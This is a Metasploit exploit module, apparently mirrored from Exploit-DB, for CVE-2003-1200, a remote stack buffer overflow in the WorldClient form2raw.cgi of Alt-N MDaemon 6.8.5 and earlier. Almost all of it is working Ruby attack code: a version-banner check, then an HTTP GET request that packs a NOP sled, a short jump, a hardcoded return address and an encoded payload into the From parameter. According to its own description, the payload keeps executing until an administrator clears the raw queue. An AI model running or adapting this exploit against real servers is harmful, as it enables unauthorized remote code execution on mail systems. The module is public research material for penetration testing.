Alt-N MDaemon 6.8.5 – WorldClient ‘form2raw.cgi’ Remote Stack Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-07-01
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16812/
  • ##
    # $Id: mdaemon_worldclient_form2raw.rb 9653 2010-07-01 23:33:07Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GreatRanking
    
    	include Msf::Exploit::Remote::Tcp
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'		=> 'MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow',
    			'Description'	=> %q{
    			This module exploits a stack buffer overflow in Alt-N MDaemon SMTP server for
    			versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),
    			a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe,
    			by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default),
    			the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based
    			overflow occurs when an excessively long From field is specified.
    			The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes.
    			Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait.
    
    			Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very
    			reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will
    			continue to crash/execute the payload until the CGI output is manually deleted
    			from the queue in C:\MDaemon\RawFiles\*.raw.
    			},
    			'Author' 	=> [ 'patrick' ],
    			'Arch'		=> [ ARCH_X86 ],
    			'License' => MSF_LICENSE,
    			'Version' => '$Revision: 9653 $',
    			'References'=>
    			[
    				[ 'CVE', '2003-1200' ],
    				[ 'OSVDB', '3255' ],
    				[ 'BID', '9317' ],
    			],
    			'Privileged'		=> true,
    			'DefaultOptions'	=>
    			{
    				'EXITFUNC'	=> 'thread',
    			},
    			'Payload'		=>
    				{
    					'Space'			=> 900,
    					'BadChars' 		=> "\x00\x0a\x0d%\x20@<>&?|,;=`()${}\#!~\"\xff\/\\",
    					'StackAdjustment' 	=> -3500,
    				},
    			'Platform' => ['win'],
    			'Targets'=>
    			[
    				# Patrickw - Tested OK-ish 20090702 w2k
    				[ 'Universal MDaemon.exe', 	{ 'Ret' => 0x022fcd46 } ], # direct memory jump :(
    				[ 'Debugging test',		{ 'Ret' => 0x44434241 } ],
    			],
    			'DisclosureDate' => 'Dec 29 2003',
    			'DefaultTarget' => 0))
    
    			register_options(
    			[
    				Opt::RPORT(3000),
    			],self.class)
    	end
    
    	def check
    		connect
    		sock.put("GET / HTTP/1.0\r\n\r\n")
    		banner = sock.get(-1,3)
    		disconnect
    
    		if (banner =~ /WDaemon\/6\.8\.[0-5]/)
    			return Exploit::CheckCode::Vulnerable
    		end
    			return Exploit::CheckCode::Safe
    	end
    
    	def exploit
    		connect
    
    		sploit = "GET /form2raw.cgi?From=" # Trigger vuln
    		sploit << "\x90" * 242 # We set EIP to the middle of this.
    		sploit << Rex::Arch::X86.jmp_short(61) # Then jump over some junk memory.. 60 is precise but is a badchar.
    		sploit << [target['Ret']].pack('V') + "c" # Return address, plus 1 byte overwrite for ESP... 'c'
    		sploit << "&To=#{Rex::Text.rand_text_alpha(12)}@#{Rex::Text.rand_text_alpha(12)}.#{Rex::Text.rand_text_alpha(3)}"
    		sploit << "&Body=" + "\x90" * 1 # 1 Byte for short jump.
    		sploit << payload.encoded + " HTTP/1.0"
    
    		sock.put(sploit + "\r\n\r\n")
    		res = sock.get(3,3)
    
    		if (res =~ /Message spooled but will be deleted if not FROM a valid account/)
    			print_status("Payload accepted by WorldClient Form2Raw CGI!")
    			print_status("Wait for the Raw Queue to be processed (1 to 60 minutes).")
    		else
    			print_status("Message not accepted. Vulnerable target?")
    		end
    
    		handler
    		disconnect
    	end
    end